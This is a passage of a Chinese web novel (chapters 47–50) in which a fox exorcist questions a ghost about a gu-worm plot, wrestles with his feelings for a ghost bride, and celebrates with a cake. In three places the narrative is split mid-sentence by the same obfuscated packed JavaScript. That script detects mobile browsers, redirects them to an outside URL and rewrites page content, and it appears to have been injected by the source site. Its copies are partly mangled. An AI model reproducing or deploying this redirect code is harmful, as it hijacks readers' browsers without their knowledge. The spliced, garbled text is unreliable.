陈璧兰便回身看过来，地府的风将她的长发吹得很漂亮：“你问吧，小天师。” 林疏认真问道：“是谁告诉你，回到阳间可以找到你的宋庭安？” 47. 第 47 章 陈璧兰想了想，蹙眉道：“我真不太记得，只是听见有个声音告诉我，说庭安在等我，我迷迷糊糊睁开眼睛，就回到阳间了。而且，我那时候的确觉得他的魂魄也在家里，只是我看不见罢了。” 林疏一怔：“那是一种什么样的感觉？” 陈璧兰摇头：“说不上来。就像是，我总能感觉被他注视着，但我回头却看不见他，唯有进入孩子们的梦里，才能见到他一次，但他总是不说话。” 林疏心想这还是得用溯灵来看才知道。 于是他问出最后一个问题：“那你知不知道，你的孙子宋玉，是用的什么办法把你留在他家里？” 陈璧兰似乎已经忘了这件事，此刻林疏提起来，她才想起，突然就大发雷霆：“那个不争气的东西！把家产都败光了，还用一条虫子把我拘束在房子里！我想出去都不能！” 林疏赶紧道：“是蛊虫，你不认识吗？蛊术非传承不可得，既然你不懂蛊，你的孩子是如何懂的？是宋庭安懂吗？” 陈璧兰摇头：“没见过，我们都不懂，但是听说过，全省谁不知道蛊的传说？但我们没养过，宋庭安只是一个穷教书的，要是他懂蛊我们早就发达了。” 林疏道：“那宋玉怎么得到的那条蛊虫你知道吗？” 陈璧兰道：“大概是别人给的吧，一个长得挺好看的男孩子来给他送过两次蛊食，他有点像个明星，也像……跟着你的那个人。” 跟着我的那个人？林疏愣了一下，但马上反应过来，陈璧兰说的……是姬悬月！ 鬼魂之间是可以互相看到的，陈璧兰自然一直能看到姬悬月。 可是姬悬月一直都在他身边，那陈璧兰说的是谁？ 要不要拘走陈璧兰，让她去指认？ 不，不靠谱，陈璧兰的记忆并不清晰，能起到的作用微乎其微，而且在陈璧兰逃出宋玉家之后，那幕后之人必然就已经龟缩了。 而且林疏看着……陈璧兰说完了这些，脸上的怨气又重了起来，显然是又想起了不争气的孙子做过的事。 于是林疏赶紧推搡着陈璧兰去投胎，生怕这位好不容易想开的执念鬼因一念之差又回去扰乱阳间秩序。 陈璧兰被林疏推着上了奈何桥，接过了孟婆手里的汤，有些不好意思地跟孟婆道歉。 孟婆浑不在意道：“你才闹了多久，比你身后那狐狸可是小巫见大巫，不碍事。放下了就快去吧。” 陈璧兰就斜着眼看她身后的林疏。 林疏尴尬地挠挠头：“孟小姐，别揭人短呀。” 陈璧兰反而好奇起来：“你都做过什么？说来听听？” 林疏尴尬得不行，但想着陈璧兰听完就喝汤忘了，索性就说了：“我以前也想找到我转世的爱人，但我比陈小姐你更倒霉些，我不记得他叫什么名字、长什么样了，只记得爱他的感觉。” “……”陈璧兰茫然道，“这是什么说法？你都不记得他了，还能记得感觉？” 林疏只得道：“我失忆失得挺巧的，我记得爱他的感觉，说不定只要看到他就会爱上他，但我不知道他是谁，也不知道他在哪里。” 陈璧兰大笑：“这算什么爱？你只是记得如何爱一个人，却忘了他是谁，那你只是从他身上学会了爱而已，你又不记得是因为什么而爱他，尤其他都忘记你去转世了，你的爱跟他还有什么关系？” 林疏：“……” 不能说醍醐灌顶，只能说，突然清醒了点。 说白了，他和亡夫，前缘已断。 再执着下去只是徒增烦恼罢了。 于是林疏只得道了谢，目送陈璧兰毫不犹豫饮下孟婆汤，走入轮回司。 受了陈璧兰一番点播的林疏还有些感叹。 这个倔强执拗的老太太，居然也可以一转身就变成如此飒爽的女性。 真的不要小瞧世界上任何一位女性啊！ 孟婆瞧着他的模样，吃吃笑道：“怎么？又喜欢女人了？” 林疏正色道：“孟小姐别开我玩笑，性向这东西可改不了。” 孟婆叹道：“听她一席话，你还要继续找你那早死的亡夫吗？” 林疏却茫然了。 他早就知道自己不该找了。 孟婆促狭笑道：“下次要来找人记得提前告诉我一声，我把锅先收了，免得又被你砸烂。” 林疏听了这话顿时有些尴尬，他年少不懂事的时候曾经三次闯入阴曹地府，就为找他的“亡夫”。 当然没找到，毕竟他又不记得那人八字姓名，只能模模糊糊说出死亡时间，那去哪里找？气得十殿阎王追着砍他，说他砸店找茬。 孟婆笑眯眯道：“你瞧瞧这陈小姐，多么洒脱，什么都记得也说放下就放下了，她说的话我听着在理，你也别执着了，干脆姐姐赏你一碗汤，你全忘去了也罢。” 林疏笑道：“那可不成，喝了你这汤就成白痴了，还怎么搬砖？好了不聊啦，我回去写报告了。” 与孟婆告别后，林疏拈了个法决，一路返程，钻回了自己身体里。 乍一回魂，林疏晕头转向，才睁开眼睛就觉得天旋地转，直直朝右边倒去。 “！”姬悬月赶紧上前想接住林疏，但办公室不比家里，有实体大阵，他此刻尚是一片虚无，林疏从他臂弯之间漏下来，结结实实坐在了地上。 “哎呀！”林疏哀嚎一声，头撞到了办公桌的角。 姬悬月手忙脚乱想去替他揉揉，可是没有林疏主动的情况下，姬悬月的手碰不到他。 直到林疏主动将手搭在姬悬月手心，一股灵力注入厉鬼魂魄，姬悬月才拥有了相对实体，让林疏借着他的力慢慢站了起来。 “撞疼了吗？”姬悬月的眸中不自觉流露出心疼。 林疏与他目光相接，顿时触电一般躲了，大脑里一片空白，嘴里的话也全忘了。 好半天才嗫嚅着道：“没事，我脑壳硬。” 姬悬月：“……” 林疏躲避他的目光，一溜烟窜到办公桌前坐下了，抽出稿纸写结案报告。 姬悬月便问道：“解决了？” 林疏点点头：“老太太知道亡夫确实等了自己十年，就放下执念，转生去了。” 姬悬月道：“那她有没有想办法和她丈夫再续前缘啊？” 林疏手中钢笔的笔尖顿了一下，闷声道：“没有，她说那人不记得她，就不再是她的爱人了。” 姬悬月便没有出声。 林疏知道他的沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883396|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默是什么意思。他等着姬悬月的新一轮劝解。 但姬悬月并未开口，只是又回到他身后站着，安安静静的。 林疏写了三行字，心里明明告诉自己要想案子的事，那个蛊王，那个拘着陈璧兰的、通鬼神的人。 却完全没办法投入，满脑子都是陈璧兰说的“死在忘记我的那天”论。 他烦躁地撕下稿纸揉成团丢了。 然后啪地放下钢笔站起来，胸口起伏了几下，复又坐回去。 他心烦的原因是，他知道陈璧兰说的都是对的，陈璧兰说服他了。 ——如此本该放下了，他却突然觉得胸口更空了。 姬悬月看见他双手捂着脸静止了。 过了许久，林疏颤抖着呼出了一口气。 姬悬月顿时手足无措，心中瞬间如被针扎了一般，林疏是不是哭了？ 他无声上前半步，想去拍一拍林疏的肩膀……又怕此举动越了界。 好半天，他才小心翼翼地问道：“你……很难过吗？因为你的亡夫吗？” 林疏没有回答他。 姬悬月只得自顾自道：“你不要担心……就算，就算他不记得你了，你这么好，他只要再次见到你，就会爱上你的。” 林疏发出很小的鼻音：“真的吗？” 姬悬月马上道：“当然是真的，我说的都是真心话，血孽厉鬼，从不骗人。” 林疏却噗嗤一声笑了。 逗姬悬月还挺好玩的。 他扯了两张纸巾擤了鼻涕，然后正色道：“我也没有很难过，只是执念了许多年的事一朝成了空，我不知道该怎么面对我自己。” 姬悬月张张口，却不知该说什么。 林疏继续道：“其实我早就知道，就算我找到了他，最多也只敢远远看一眼，人家有自己的生活嘛，大概并不想被前世的爱恨打扰。我很清楚的。” 姬悬月看着林疏的后脑勺，却只觉得心疼得要命。 如果说刚才肩膀颤抖默默难过的林疏，只是惹人怜爱，像一根针刺进他的心脏。 那么此刻笑着的林疏，却让他的心密密麻麻疼了起来。仿佛有无数根针扎了进去。 林疏道：“但是话又说回来了，你这个大骗子，你自己都不记得你老婆是谁了，还在这里大放厥词。” 姬悬月：“……” 林疏却笑了，他转过身来由下而上看着姬悬月的脸：“谢谢你，我心情好些了。今晚请你吃好利来的冰淇淋蛋糕！” “……”姬悬月只得微笑道，“好。” 日光下小狐狸的侧脸像轻盈透明的画片一样美，眼角和鼻尖还留着哭过的红，那双清澈的眼睛，却像被洗过一样干净。 干净得让姬悬月不敢直视。 结案报告写好后，林疏去找林聆上交，顺便将自己去了一趟阴司的事也如实说了， 林聆倒是没说什么，只是盯着林疏尚带微红的鼻尖和眼尾，一脸的了然。 林疏知道师娘又把自己看透了，有点狼狈，但上班时间他不能矫情，还是硬着头皮说了宋玉家有金蚕蛊的事。 林聆便道：“那么接下来，你去查宋玉和死掉的六个人有没有什么恩怨，但别特意去调查，机灵点。” 48. 第 48 章 林疏心领神会：“好，我明白了。” 他起身正要走，林聆又叫住他。 林疏：“？” 林聆道：“你应该明白了这个案子我为什么特意留给你。只是，别人的话未必都对，别人的道理也未必适用于你，我是想让你多见识几分，自然也就看得到自己。” 林疏小声说：“知道了，谢谢师娘。” 林聆便挥挥手让他走了。 回到办公室后，林疏又争分夺秒写了几个材料，姬悬月也不跟他闹别扭了，还主动帮他找起书柜上的资料来。 一天的工作很快结束了，数日以来，林疏和姬悬月总算又恢复了以前的样子。 五点半整，林疏收拾着准备下班。正打算让姬悬月进玻璃杯里，他突然想起了——袖子里的黑色丝带。 要不要趁着现在大家关系还算缓和，让姬悬月系上这条丝带…… 姬悬月已经钻进杯子里，却久久不见林疏盖杯盖，他便问道：“怎么了？” 林疏犹豫片刻，试探着问道：“那个，有件事跟你商量一下。” 姬悬月道：“你说。” 林疏放下杯子：“你可以先出来。” 姬悬月便又钻出来，黑雾凝成鬼新娘，双手环在身前，蹙眉盯着他看。 林疏被姬悬月的目光看得浑身每个细胞都在打退堂鼓，但是……这已经是不错的机会了，大不了，等会儿给姬悬月买个十寸的冰淇淋蛋糕！ 他便硬着头皮道：“前几天，师娘给了我一件法器……” 他说了黑色丝带的作用和使用方法，并把它从袖子里取了出来。 姬悬月从林疏手中接过，垂眸看着它。 “……总之，你要是系上这个，就不用待在瓶子里，也不用拴在我手腕上。”林疏试图用虚假的自由来诱惑姬悬月，“到时候你甚至可以自己出门，不用天天陪我来上班……呃？” 林疏话还没说完，姬悬月已经垂下头，将丝带缓缓系在了自己修长的脖子上。 林疏呆呆看着姬悬月将丝带系在颈间，就像他曾经想象的一样，约一指宽的黑色环绕着姬悬月修长漂亮的脖颈，仿佛是那场秀中作为点睛之笔的choker。 而他是那场秀中最性感的男模。 长长的丝带垂在他身后——林疏知道那根丝带有多长。 它一定会垂落到姬悬月的腰际。 而姬悬月缓缓抬起头，望着林疏的时候，林疏甚至错觉……自己已经驯服了这只厉鬼。 这只曾经野性难驯，却实在美艳动人的，厉鬼。 林疏能听见自己胸腔中，心脏怦怦乱跳的声音。 时间仿佛停在了那一秒，就那一秒，而林疏和姬悬月的眼神相接，谁都没有避开对方眼中炽热的光芒。 直到林疏先匆匆低下头：“你愿意戴就好。” 他不得不以欲盖弥彰的动作来掩饰脸上突然升高的温度。 姬悬月还没来得及问什么叫“遥控”，人已经被丢在了办公室。 姬悬月：“……” 林疏小跑着冲出灵调局，推开大门，噔噔噔下台阶，去一旁的车位开自己的自行车锁，钥匙却始终对不上锁孔。 好不容易手忙脚乱开了车锁，刚想跨上骏马扬长而去，身后传来阴仄仄的声音：“这就把我放养了？” “……”林疏马上换了灿烂笑容，“这不是……看你重获自由，想给你点私人空间嘛。” 姬悬月却十分心安理得地往林疏自行车的后座一坐，然后握住林疏的腰，气定神闲道：“走吧。” 林疏：“……” 他哆哆嗦嗦蹬起自行车，觉得浑身的骨头都不听使唤了，全部感官都集中在了被姬悬月掌心贴着的腰侧。 姬悬月不动声色收紧了手掌，感受着林疏的温度，不由露出满足的微笑。 只要枷锁在林疏的手上，他愿意永远被禁锢。 到家后，林疏同手同脚去洗澡，洗完出来后，却见姬悬月换下了新娘装，穿上了一身清爽的现代装。 听见林疏出来，姬悬月转过身，一边系扣子一边道：“今晚要不要出去玩？” 林疏：“？”这就是自由的人民自由的精神吗？ 但姬悬月难得主动要出门，林疏自是欣然同意——姬悬月的头发还有点乱，虽然他凭借绝世美貌把狗啃头发衬得跟流量男团一样，但林疏还是觉得应该带他去一趟理发店。 贴好实体符咒，林疏带着姬悬月出了门。 他不时会偏过头看姬悬月一眼。 看一眼，就会脸红半天。 今天姬悬月穿了一件设计款的白衬衣，材质类似哑光棉缎，很轻软，V型领口很松，露出非常好看的锁骨。 而他脖子上的那条choker是纯黑的，衬着冷白肤色，在身后随着他的走动微微飘着。 实在是太涩了……林疏有点顶不住。 姬悬月不知道林疏目光躲躲闪闪的是在想什么，但他知道林疏这样是因为自己，眼角眉梢就不自觉带上了点笑意。 林疏带着姬悬月走进了自己常来的理发店，把他按在椅子上，大气道：“店长呢，店长来洗剪吹！” 过了会儿，卷毛的店长小跑着过来了：“哟，阿疏来啦。” 林疏笑道：“带朋友来剪头，刚在app下了单，你看一眼。” 店长正准备掏出手机确认订单，看见姬悬月后愣了一下，肉眼可见地脸红了，然后小声说：“这么帅的发型……不用剪了吧。” “？”林疏好心提醒道，“帅的是人，你要不要仔细看看他的头发是什么狗啃乞丐头啊！！” 店长从善如流：“这么帅的人，不用剪了吧？” 林疏迅速伸手捏住他的脸，“你冷静点，店长洗剪吹88，这钱你不赚，我可找其他人了。” 金钱马上唤醒了店长的理智，他吹开挡眼睛的刘海，正色道：“塑造帅哥是我专长，阿疏你退后，看我的表演。” 林疏便放心大胆去等候厅坐着了，这家理发店的店长手艺他是相信的，因为他的头发就是在这里做的。 一个合适的发型能让人的颜值呈千百倍提升。 约一小时后，姬悬月面瘫脸走出来，神色如常，却已经是容光焕发。 林疏呆呆看着他，甚至怀疑自己的眼睛。 如果说长发的姬悬月有一种雌雄莫辨的复古美艳，那么此刻，他俨然成为了一个杀穿整条街的绝世帅哥！ 冷白的皮肤，在理发店满分灯光中白皙清透得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883397|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至有些失真。 而在那完美到没有一点瑕疵的面孔上，长眉如墨，高鼻深目，仿佛浓墨缓笔、认真勾勒的侧锋。 睫毛浓长，压得眸光深邃又清冷。 嘴唇只透着淡淡的朱红色，却如樱花一般，细致优美。 而发丝微卷着慵懒随意的造型，被染成非常时尚的雾霾灰。 在店长巧夺天工的洗剪吹后，每一根头发都凌乱得恰到好处。 极浅的发色，配上漆黑的瞳仁，和脖子上涩到极致的纯黑choker，姬悬月已经无敌了。 林疏光看就觉得心扑通扑通地跳，他都要嫉妒了！哪有1这么好看的！！！ 理发店里其他的顾客也都看傻了，林疏还是最先清醒的——或许是日夜相对总能免疫一二，总之他迅速扒拉出订单确认付款，然后拖着姬悬月跑路了。 看得出来店长是把他毕生绝学都用上了。林疏在大街上拖着姬悬月边走边看他，店长甚至没用什么啫喱水和发胶发蜡，迎面的风吹来，姬悬月的发丝就柔软地随风而动——甚至被吹乱后还保持着满分的美貌。 看得林疏开始担心这条街会拥堵，他又赶忙摸出个独立包装的口罩，糊在了姬悬月脸上。 啧，有的人，戴着口罩也能看出来是个帅哥……甚至更帅了，口罩真是男人最好的医美。 林疏感叹着这钱花得太值了。不对，等等，他不是只买了洗剪吹套餐，为什么店长还给染了颜色？ 林疏不敢问，怕店长跟他要四位数的造型费。 但店长并没有发微信来，看来是打着让姬悬月给他的店做宣传的意思…… 林疏心里乱七八糟想这想那，唯独不敢想自己乱七八糟的心情。 他自欺欺人归自欺欺人，可是用不着任何人来告诉他—— 在放过“亡夫”、放过自己之前，他就已经对姬悬月很心动。 就当他是个看脸的肤浅的狐狸吧……他真的会在面对姬悬月的时候控制不了自己的心跳。 可是，承认了他喜欢姬悬月，就相当于承认了他是个坏狐狸。 唔，还是个花心的坏狐狸。 林疏一边矛盾，一边又觉得自己可怜。 用一堆冠冕堂皇的借口，只为了堵住真心所向，浪费着朝夕相处的每一天，只为了缥缈无终的未来。 天逐渐黑了，林疏又带着姬悬月进了路边一家饭店——他们还没吃晚饭。 “你想吃什么？”林疏指着墙上的菜单，“随便点，今天小爷大出血。” 姬悬月道：“不是说吃冰淇淋蛋糕吗？” “……”林疏面无表情道，“那个饭后再吃。” 再不吃点东西，他就要吃姬悬月了。 两人正埋头研究菜谱，林疏身前左侧突然传来迟疑的声音：“小疏哥哥？” 林疏惊讶抬头看过去，花了五秒钟，认出了对面的人：“是你！” 姬悬月被那声“小疏哥哥”雷了个外焦里嫩，他跟着林疏的目光看过去，就瞧见一个……还算熟悉的面孔，正是洗去纹身贴、染了黑头发的小轩。 小轩还满脸惊喜，然后就瞧见了林疏对面的、染了本年度最时尚发色top1的雾霾灰、浑身上下透着“我本人超好看”的气息的男人。 49. 第 49 章 小轩：“……” 呵，善变的男人，林疏你之前喜欢的可不是这款的！ 林疏笑着打招呼道：“好巧，出来吃饭呀。” 小轩已经跟桌上同学打过招呼，屁颠屁颠跑到了林疏这桌，坐在了他身边：“是啊哥，你怎么会来这边？” 林疏恍然，这条街好像正在小轩学校对面。他便笑笑道：“这边便宜。” 小轩偷瞄了一眼对面的姬悬月，道：“这是哥的新男朋友吗？” 林疏：“……” 姬悬月面无表情拉下口罩：“是我。” 小轩：“…………” 小轩尴尬道：“不……不好意思啊。” 姬悬月又把口罩拉了上去：“没事。” 林疏笑道：“我们不是情侣，只是合租。就租住在这附近，平时逛街也喜欢往这边来，不过还从来没遇到过你。” 小轩摸摸鼻子道：“我不住校嘛，我家就在肃山区那边，平时除了上课也不太来这里。” 林疏却一下子来了兴致：“对了，你们学校现在还让外人进吗？这三年管得严，我都没去听过课了。” 小轩笑道：“已经放开了，现在大课教室随便进。” “那太好了。”林疏两眼放光，对姬悬月道：“下次带你去他们学校听大课，很有意思！” 姬悬月眼睛微弯，点了下头道：“好。” 林疏已经开始在心里策划了，小轩的学校算是国内比较有名的双一流，师资力量非常强大，虽然是综合大学，但是每个专业都有泰斗级别的教授在。 小轩突然问道：“哥，你们真的不是情侣吗？” 林疏：“啊？哦，不是。” 小轩慌忙道：“那抱歉啊，你最近都很少上‘蓝帝’，我以为是稳定下来了……” 林疏：“……” 蓝帝是一个软件的名字，属于gay们比较常用的交友软件。 林疏……曾经在上面筛查过可能是“亡夫”的家伙…… ……其实借用现代化手段来找人并不是什么不能见人的事，但此刻在姬悬月面前被捅破，林疏竟然有了一种头皮发麻的窘迫感。 然而姬悬月其实并不知道他们说的蓝帝是什么，他仍旧在低头看菜谱，有外人在的时候，他都会很高冷。 林疏硬着头皮道：“最近工作很忙，没空看那些……我出差才刚刚回来呢。” “啊，原来如此，”小轩若有所思地点头，“小疏哥真忙。” 林疏问道：“你今天是和朋友一起来的吗？” 小轩道：“是啊，有个朋友过生日，来给他庆祝的，不过人还没齐。” 林疏便道：“过生日就好好庆祝，少喝酒，别玩太晚。” 小轩笑道：“你怎么跟我妈一样。” 林疏没好气道：“你们这些小孩没一个让人省心的。” 小轩就笑，笑完了他那边的朋友也喊他，他就过去了。 目送他回去后，林疏松了口气。 姬悬月冷不丁道：“也是与亡夫神似？” 林疏：“……” 林疏讪讪道：“就是交友软件上刷到的，小孩本性不坏，我怕他走歪路，就随便带了那么一下。” 姬悬月道：“那你以后还会再带这样的小孩吗？” 林疏随口道：“看见那种要误入歧途的，当然能拉还是拉一把。” 姬悬月垂眸道：“我也是这样一个小孩吗？” 林疏愣住了。 那一抹醋意微弱得像深海中一尾稚嫩的小鱼，林疏感觉自己捕捉到了，但它仿佛没有留下任何存在的痕迹。 或许是溅起了一点细细的水花。 却搅得林疏的心一下乱了。 虽然姬悬月其实也并没有掩饰。 林疏一直知道，姬悬月对自己的感情在变化。 民国的鹤城，那个从高处跌落的晚上，林疏当了缩头乌龟，自己都快信了自己的洗脑。 可这一瞬间，就这一秒。 他突然很想问姬悬月，要不要在一起。 在天罚与责任之间苟延残喘的感情，那些骤然产生的冲动，就像大地裂缝处无法抑制的喷泉。 理智与情感拉锯一般磋磨林疏仅剩的思考能力，他窒息着，感觉自己快被矛盾淹没了。 问或不问？ 他心烦意乱，低头揉搓自己兜帽的系带。 过了好久，才终于道：“不是。” 姬悬月猛然抬头。 林疏却垂着眼皮，睫毛敛去眸中所有情绪，他不敢看姬悬月的眼睛。 承认了又能怎么样呢？ 天狐和血孽厉鬼。 注定能一眼看见尽头的结局。 这顿饭林疏吃得心不在焉，姬悬月也没有动筷子。他当然不用动筷子，他是用闻的。 所以最后结账走人的时候，两人几乎剩了满满一桌子。 小轩边漫不经心与同学们闲聊，边用目光追着林疏和姬悬月一前一后离去。 “阿轩看什么呢？”他身边的同学随口问道。 小轩轻轻一笑：“在看墙角，哪里比较好挖。” 同学们顿时起哄道：“哎唷，油画小王子又要对什么人出手了？是那个黑头发的，还是那个灰头发的？” 小轩就笑着摇头：“八字还没一撇呢，等挖到手了，带他来跟你们喝酒。” …… 离开饭店后，林疏心情低落，姬悬月自然很轻易就察觉到了。 他试着问道：“是看到小轩想起了什么，还是……我又惹你不开心了？” 林疏马上道：“当然不关你的事，也不是那个小轩的事，我就是觉得我这个人……真是太不堪了。” 他叹着气，一边走，一边自言自语一般小声道：“我一直自诩是个正直的人，虽然不敢说得太冠冕堂皇……至少也是俯仰无愧于天地。但突然，我发现自己其实是个卑劣的小人……等等。” 他脚步一顿，钻进了右手边一个晶莹剔透明亮诱人的橱窗——蛋糕店。 姬悬月：“……” “我提前预定的，”林疏掏出手机查找订单，“8英寸动物奶油热带皇后，林疏。” 店员很快把一个蛋糕盒子递了过来，林疏接过，道了声谢，然后又拉着姬悬月走了。 出了店门，林疏随手将蛋糕递给姬悬月拿着，还想继续刚才的伤春悲秋、自怨自艾：“我心里有一些明知道不能去做、做了会有很严重后果的事……” 姬悬月却不敢置信地捧着蛋糕盒，问道：“你什么时候预定的？” 林疏愣了一下，道：“就，没出门的时候啊，手指头点一下的事儿。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883398|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姬悬月不知所措，他捧着蛋糕盒子，闻着盒盖缝隙散发出来的幽微甜香……有一瞬间，他觉得自己被爱包围了。 林疏笑道：“感动得不会说话了？” 姬悬月却郑重点头。 他垂眸看着蛋糕盒子的模样，像个被巨大幸福包裹的、手足无措的小孩。 林疏本来还在笑，看到他这个样子，反而心疼起来。 他主动拉起姬悬月的手：“这是庆祝你终于不用被绳子栓在我身上，是象征自由的蛋糕。如果你不记得自己的生辰，也可以把今天当成你的生日。” “生日……蛋糕？”姬悬月问道。他想起回到民国的时候，在租界给梁萍带去蛋糕的钱志远。 梁萍是钱志远的女朋友…… 他……是林疏的什么？ ……林疏倒是没想那么多，他甚至连自己的emo都忘了，快乐地拽着姬悬月溜溜达达回了家。 煞有介事拉了窗帘关了灯，两人把这个蛋糕摆在了茶几上，点亮了蜡烛。 温馨的暖黄烛火照亮精致可爱的蛋糕，水果们在胖嘟嘟的奶油云朵上挤成一团，看起来憨态可掬，甚是香甜美味。 “要唱生日歌吗？”林疏想起一出是一出，笑着看向姬悬月。 姬悬月道：“我不会唱。” “我会，我可以教你。”林疏拉着姬悬月站在蛋糕前，轻轻唱起了这首快乐的童谣。 姬悬月原本跟着林疏一起闭着眼，但在林疏轻声唱起“祝你生日快乐”的时候，他却偷偷睁开了眼睛。 闪烁的烛光笼着林疏带着微笑的面孔，明明是如此快乐的氛围，姬悬月却仿佛在他脸上看到了淡淡的忧伤。 “庆祝姬悬月重获新生！”林疏说完这最后一句，笑着睁开眼睛，看向姬悬月，“你可以吹蜡烛了。” 姬悬月早在林疏睁眼前就收回了目光，他轻轻吹灭了五颜六色的蜡烛，林疏便将它们捏起来放在一旁，然后开始切蛋糕！ 姬悬月双眼放光，捧着蛋糕大闻特闻。 林疏看着他吃得开心，馋虫也被勾了出来，小小地尝了一口。 林疏自己很少吃这种蛋糕，一是因为太贵了……二是因为会长胖。 是的没错……狐狸也会长胖……林疏见过胖乎乎的狐狸，并立誓自己决不能成为那样的胖狐狸。 这种时候就会很羡慕姬悬月，用闻的果然怎么也不会胖啊……可恶！等他位列仙班的时候也可以用闻的，到时候就可以大吃特吃了！ 然后林疏又想起了自己危险的越界——如果和姬悬月在一起了，他还能成仙吗？ 姬悬月舍不得吃掉整个蛋糕，在询问了林疏可以放进冰箱保存后，他开心地将剩下的大半塞进了冷冻层。 转身回来时，他发现林疏眼神闪烁地盯着他看，又在被发现后很快躲开。 姬悬月回到餐桌前，站在林疏身边，好奇地看他的脸。 这下换成林疏忐忑了：“……你看我做什么？” 姬悬月便微笑：“谢谢小天师的投喂。” 林疏躲开视线道：“你喜欢就好，总之……” 姬悬月却走到他面前，站定，一动不动看着他。 林疏硬着头皮与他对视，三秒钟后却败下阵来，故作认真地看着头顶的灯，又看向桌上的纸盘子，再看向身后的椅子，目光无处安放。 50. 第 50 章 周围逐渐升温的暧昧空气让他浑身不自在。 他本能要逃，端起纸盘子就朝垃圾桶走去：“我收拾一下，你也……去休息吧。” “鬼不用休息。”姬悬月却一本正经叫住了他，“林疏，刚才在街上，你说的话是什么意思？” “什么话？”林疏茫然回头。 就见姬悬月正直直朝他看过来，眸中闪烁的是林疏不敢细看的温柔光芒：“你说的‘有一些明知道不能去做、做了会有很严重后果的事’，是什么？” 林疏怔住，在这一瞬间，他心中闪过千百种可能。 说吧，说出来。 告诉姬悬月，那件事是我喜欢你。 然后……然后会怎么样呢？ 他们可以在一起吗？ 忘记那些狐狸和鬼之间的障碍，忘记什么成仙的愿望，忘记……姬悬月的血孽……吗？ 是的，天狐成仙不需要无情无爱，更不需要杀妻证道(?)…… 但在修炼期间，不能有伤人之举，不能起害人之心，否则就会从天狐堕为妖狐。 妖狐也无所谓了…… 林疏觉得自己有点疯，妖狐也好，陪着姬悬月一起做个反派，大不了到时候一起去死。 可是……姬悬月呢？ 作为身负血孽的厉鬼，姬悬月本就如同走在悬崖边上一般，必须如履薄冰地累积功德、心存善念，一旦执念成魔，就再无赎罪的可能。 一旦再次造孽，姬悬月直接就会万劫不复。 林疏没有把握完全掌控姬悬月，而且他知道，情爱会让人生念、生怨，而执念和怨气会引动姬悬月身上的孽，让他的神智失控。 眼下，姬悬月脖子上戴着条抑制阴气的choker……或许还在可控范围内。 但如果他们在一起了，彼此执念生怨，到丝带也抑制不住的程度呢？ 譬如……若有一天林疏想起了自己的亡夫是谁呢？ 若有一天，姬悬月想起了他和穆绍棠的曾经呢？ 一旦两个人的感情中插进了第三个人，第三段回忆， 那么只能一拍两散，无疾而终。 另一方势必会受到重创、心神哀恸。 如果这些复杂的爱恨纠葛，引动了姬悬月的滔天怨气，那姬悬月该怎么抵挡天罚？ 彼时堕落成妖的林疏又该怎么保护他？ 那条拨动涟漪的小鱼，瞬间在林疏心底的池塘里不断下沉，最后消失无迹。 是他把浑浑噩噩的鬼新娘从美梦里唤醒，强行带进他的生活。 他不能对姬悬月这么不负责。 于是，姬悬月看着林疏眼中的星光逐渐熄灭了。 最后，林疏尴尬地垂着头道：“我想说……其实我不应该背着师父和师娘查烛台的事，被发现的话，后果会很严重。” 于是，姬悬月眼中的光也熄灭了。 林疏几乎是落荒而逃：“我洗个澡！我困了！” 姬悬月怔怔望着小狐狸红透了的耳尖，心中好像有一根绳索密密麻麻缠住了一样。 微微发胀，有点酸，有点疼，还有种难以自控的冲动。 想冲上去，把小狐狸按在身下，逼问他实话的冲动。 想把小狐狸说谎的嘴堵住的冲动。 可他没有。 他只是按住躁动的胸口，感受着自己汹涌的感情一点一点平息。 ……而林疏可能永远不会知道，问出那句话的姬悬月，到底鼓起了多么大的勇气。 毕竟，满手血污的厉鬼，怎么敢去触碰清澈美丽、纤尘不染的心上人？ …… 林疏洗澡洗了好久，热水器都亮灯了，他还没出来。 好不容易做好心理准备，如果姬悬月非要打破砂锅问到底，他就装睡。 ……结果出来后，他发现姬悬月换回新娘装，坐在沙发上玩赛博墓碑。 林疏胸口所有强行逼迫出的胆气一下子跑了个一干二净，他松了口气，擦着头发去找吹风机。 姬悬月突然道：“穆迎秋找你有事。” “啊？”林疏茫然，但很快，他发现姬悬月的脸色不太好看。 手机屏幕上是穆迎秋发来的照片。 那对烛台。 后面跟着一串文字消息：“林疏，我觉得你好像对它们很感兴趣，要不要下次见面，我带给你看看？” 林疏盯着手机看了一会儿，在脑中衡量了约三秒钟，就果断回复了他：“好。” 姬悬月马上抢过手机：“你要去？你明知道他有别的目的，这件事背后的水很深，你不该答应他。” 林疏沉着道：“就是因为知道，才一定要去。我们都不是傻子，他明知道我跟他装那一场就是为了这对烛台，拿它当诱饵来诱惑我不是很正常？” 